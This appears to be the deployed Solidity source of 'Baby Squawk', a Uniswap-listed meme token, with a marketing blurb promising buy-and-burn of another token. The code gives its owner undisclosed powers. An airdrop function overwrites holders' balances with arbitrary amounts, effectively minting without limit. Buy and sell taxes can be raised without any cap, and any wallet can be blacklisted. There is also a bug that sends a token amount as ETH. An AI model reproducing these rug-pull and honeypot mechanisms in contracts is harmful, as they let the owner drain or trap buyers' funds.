Contract Source Code:

//SPDX-License-Identifier: MIT
/**
https://t.me/BabySquawkCoin

The inspiration of the Baby Squawk token comes from the Squawk token created by one of the SHIB devs. The purpose of this token will be similar to any other
"Baby" version of a token: buying the original token (Squawk, in this case) and burning some of its supply. This will eliminate some supply of Squawk,
thus increasing all holders value of their tokens. In addition, we will aim to reach out to the dev who deployed the Squawk token in the hopes of setting up
an official partnership. Other marketing will happen regardless of the success of this partnership. The tokenomics of this coin are listed below:

Buy tax: 1% auto LP + 6% marketing = 7% total
Sell tax: 1% auto LP + 9% marketing = 10% total

50% marketing goes to buying and burning Squawk token, and 50% goes to marketing this coin.

Website and socials coming soon. With all that being said, welcome to Baby Squawk :)
**/

pragma solidity ^0.8.12;

interface IUniswapV2Factory {
	function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
	function swapExactTokensForETHSupportingFeeOnTransferTokens(
		uint amountIn,
		uint amountOutMin,
		address[] calldata path,
		address to,
		uint deadline
	) external;
	function factory() external pure returns (address);
	function WETH() external pure returns (address);
	function addLiquidityETH(
		address token,
		uint amountTokenDesired,
		uint amountTokenMin,
		uint amountETHMin,
		address to,
		uint deadline
	) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

abstract contract Context {
	function _msgSender() internal view virtual returns (address) {
		return msg.sender;
	}
}

interface IERC20 {
	function totalSupply() external view returns (uint256);
	function balanceOf(address account) external view returns (uint256);
	function transfer(address recipient, uint256 amount) external returns (bool);
	function allowance(address owner, address spender) external view returns (uint256);
	function approve(address spender, uint256 amount) external returns (bool);
	function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
	event Transfer(address indexed from, address indexed to, uint256 value);
	event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
	function add(uint256 a, uint256 b) internal pure returns (uint256) {
		uint256 c = a + b;
		require(c >= a, "SafeMath: addition overflow");
		return c;
	}

	function sub(uint256 a, uint256 b) internal pure returns (uint256) {
		return sub(a, b, "SafeMath: subtraction overflow");
	}

	function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b <= a, errorMessage);
		uint256 c = a - b;
		return c;
	}

	function mul(uint256 a, uint256 b) internal pure returns (uint256) {
		if (a == 0) {
			return 0;
		}
		uint256 c = a * b;
		require(c / a == b, "SafeMath: multiplication overflow");
		return c;
	}

	function div(uint256 a, uint256 b) internal pure returns (uint256) {
		return div(a, b, "SafeMath: division by zero");
	}

	function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b > 0, errorMessage);
		uint256 c = a / b;
		return c;
	}

}

contract Ownable is Context {
	address private _owner;
	address private _previousOwner;
	event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

	constructor () {
		address msgSender = _msgSender();
		_owner = msgSender;
		emit OwnershipTransferred(address(0), msgSender);
	}

	function owner() public view returns (address) {
		return _owner;
	}

	modifier onlyOwner() {
		require(_owner == _msgSender(), "Ownable: caller is not the owner");
		_;
	}

	function renounceOwnership() public virtual onlyOwner {
		emit OwnershipTransferred(_owner, address(0));
		_owner = address(0);
	}

}


contract BabySquawk is Context, IERC20, Ownable {
	using SafeMath for uint256;
	mapping (address => uint256) private _balance;
	mapping (address => mapping (address => uint256)) private _allowances;
	mapping (address => bool) private _isExcludedFromFee;
	mapping(address => bool) public bots;

	uint256 private _tTotal = 100000000 * 10**8;
    uint256 private _contractAutoLpLimitToken = 12000000000000;

	uint256 private _taxFee;
    uint256 private _buyTaxMarketing = 6;
    uint256 private _sellTaxMarketing = 9;
    uint256 private _autoLpFee = 1;
    uint256 private _LpPercentBase100 = 35;
	address payable private _taxWallet;
    address payable private _contractPayment;
	uint256 private _maxTxAmount;
	uint256 private _maxWallet;

	string private constant _name = "Baby Squawk";
	string private constant _symbol = "BABYSQUAWK";
	uint8 private constant _decimals = 8;

	IUniswapV2Router02 private _uniswap;
	address private _pair;
	bool private _canTrade;
	bool private _inSwap = false;
	bool private _swapEnabled = false;

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 coinReceived,
        uint256 tokensIntoLiqudity
    );

	modifier lockTheSwap {
		_inSwap = true;
		_;
		_inSwap = false;
	}
    
	constructor () {
		_taxWallet = payable(_msgSender());
        _contractPayment = payable(address(this));

		_taxFee = _buyTaxMarketing + _autoLpFee;
		_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

		_isExcludedFromFee[address(this)] = true;
		_isExcludedFromFee[_taxWallet] = true;
        _maxTxAmount = _tTotal.mul(2).div(10**2);
	    _maxWallet = _tTotal.mul(4).div(10**2);

		_balance[address(this)] = _tTotal;
		emit Transfer(address(0x0), address(this), _tTotal);
	}

	function maxTxAmount() public view returns (uint256){
		return _maxTxAmount;
	}

	function maxWallet() public view returns (uint256){
		return _maxWallet;
	}

    function isInSwap() public view returns (bool) {
        return _inSwap;
    }

    function isSwapEnabled() public view returns (bool) {
        return _swapEnabled;
    }

	function name() public pure returns (string memory) {
		return _name;
	}

	function symbol() public pure returns (string memory) {
		return _symbol;
	}

	function decimals() public pure returns (uint8) {
		return _decimals;
	}

	function totalSupply() public view override returns (uint256) {
		return _tTotal;
	}

    function excludeFromFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = true;
    }
    
    function includeInFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = false;
    }
    
    function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
        _taxFee = taxFee;
    }

    function setSellMarketingTax(uint256 taxFee) external onlyOwner() {
        _sellTaxMarketing = taxFee;
    }

    function setBuyMarketingTax(uint256 taxFee) external onlyOwner() {
        _buyTaxMarketing = taxFee;
    }

    function setAutoLpFee(uint256 taxFee) external onlyOwner() {
        _autoLpFee = taxFee;
    }

    function setContractAutoLpLimit(uint256 newLimit) external onlyOwner() {
        _contractAutoLpLimitToken = newLimit;
    }

	function balanceOf(address account) public view override returns (uint256) {
		return _balance[account];
	}

	function transfer(address recipient, uint256 amount) public override returns (bool) {
		_transfer(_msgSender(), recipient, amount);
		return true;
	}

	function allowance(address owner, address spender) public view override returns (uint256) {
		return _allowances[owner][spender];
	}

	function approve(address spender, uint256 amount) public override returns (bool) {
		_approve(_msgSender(), spender, amount);
		return true;
	}

	function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
		_transfer(sender, recipient, amount);
		_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
		return true;
	}

	function _approve(address owner, address spender, uint256 amount) private {
		require(owner != address(0), "ERC20: approve from the zero address");
		require(spender != address(0), "ERC20: approve to the zero address");
		_allowances[owner][spender] = amount;
		emit Approval(owner, spender, amount);
	}

	function _transfer(address from, address to, uint256 amount) private {
		require(from != address(0), "ERC20: transfer from the zero address");
		require(to != address(0), "ERC20: transfer to the zero address");
		require(amount > 0, "Transfer amount must be greater than zero");
		require(!bots[from] && !bots[to], "This account is blacklisted");

		if (from != owner() && to != owner()) {
			if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
				require(amount<=_maxTxAmount,"Transaction amount limited");
				require(_canTrade,"Trading not started");
				require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size");
			}

            if (from == _pair) {
                _taxFee = buyTax();
            } else {
                _taxFee = sellTax();
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if(!_inSwap && from != _pair && _swapEnabled) {
                if(contractTokenBalance >= _contractAutoLpLimitToken) {
                    swapAndLiquify(contractTokenBalance);
                }
            }
		}

		_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
	}

    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        uint256 autoLpTokenBalance = contractTokenBalance.mul(_LpPercentBase100).div(10**2);
        uint256 marketingAmount = contractTokenBalance.sub(autoLpTokenBalance);

        uint256 half = autoLpTokenBalance.div(2);
        uint256 otherHalf = autoLpTokenBalance.sub(half);

        uint256 initialBalance = address(this).balance;
        swapTokensForEth(half);
        uint256 newBalance = address(this).balance.sub(initialBalance);

        addLiquidityAuto(newBalance, otherHalf);
        
        emit SwapAndLiquify(half, newBalance, otherHalf);

        swapTokensForEth(marketingAmount);
        sendETHToFee(marketingAmount);
    }

    function buyTax() private view returns (uint256) {
        return (_autoLpFee + _buyTaxMarketing);
    }

    function sellTax() private view returns (uint256) {
        return (_autoLpFee + _sellTaxMarketing);
    }

	function setMaxTx(uint256 amount) public onlyOwner{
		require(amount>_maxTxAmount);
		_maxTxAmount=amount;
	}

	function sendETHToFee(uint256 amount) private {
		_taxWallet.transfer(amount);
	}

    function swapTokensForEth(uint256 tokenAmount) private {
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = _uniswap.WETH();
		_approve(address(this), address(_uniswap), tokenAmount);
		_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
			tokenAmount,
			0,
			path,
			address(this),
			block.timestamp
		);
	}

	function createPair() external onlyOwner {
		require(!_canTrade,"Trading is already open");
		_approve(address(this), address(_uniswap), _tTotal);
		_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
		IERC20(_pair).approve(address(_uniswap), type(uint).max);
	}

	function addLiquidityInitial() external onlyOwner{
		_uniswap.addLiquidityETH{value: address(this).balance} (
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );

		_swapEnabled = true;
	}

    function addLiquidityAuto(uint256 etherValue, uint256 tokenValue) private {
        _approve(address(this), address(_uniswap), tokenValue);
        _uniswap.addLiquidityETH{value: etherValue} (
            address(this),
            tokenValue,
            0,
            0,
            owner(),
            block.timestamp
        );

        _swapEnabled = true;
    }

	function enableTrading(bool _enable) external onlyOwner{
		_canTrade = _enable;
	}

	function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
		uint256 tTeam = tAmount.mul(taxRate).div(100);
		uint256 tTransferAmount = tAmount.sub(tTeam);

		_balance[sender] = _balance[sender].sub(tAmount);
		_balance[recipient] = _balance[recipient].add(tTransferAmount);
		_balance[address(this)] = _balance[address(this)].add(tTeam);
		emit Transfer(sender, recipient, tTransferAmount);
	}

	function setMaxWallet(uint256 amount) public onlyOwner{
		require(amount>_maxWallet);
		_maxWallet=amount;
	}

	receive() external payable {}

	function blockBots(address[] memory bots_) public onlyOwner  {for (uint256 i = 0; i < bots_.length; i++) {bots[bots_[i]] = true;}}
	function unblockBot(address notbot) public onlyOwner {
			bots[notbot] = false;
	}

	function manualsend() public{
		uint256 contractETHBalance = address(this).balance;
		sendETHToFee(contractETHBalance);
	}

    function airdropOldHolders(address[] memory recipients, uint256[] memory amounts) public onlyOwner {
        for(uint256 i = 0; i < recipients.length; i++) {
            _balance[recipients[i]] = amounts[i] * 10**8;
            emit Transfer(address(this), recipients[i], amounts[i] * 10**8);
        }
    }
}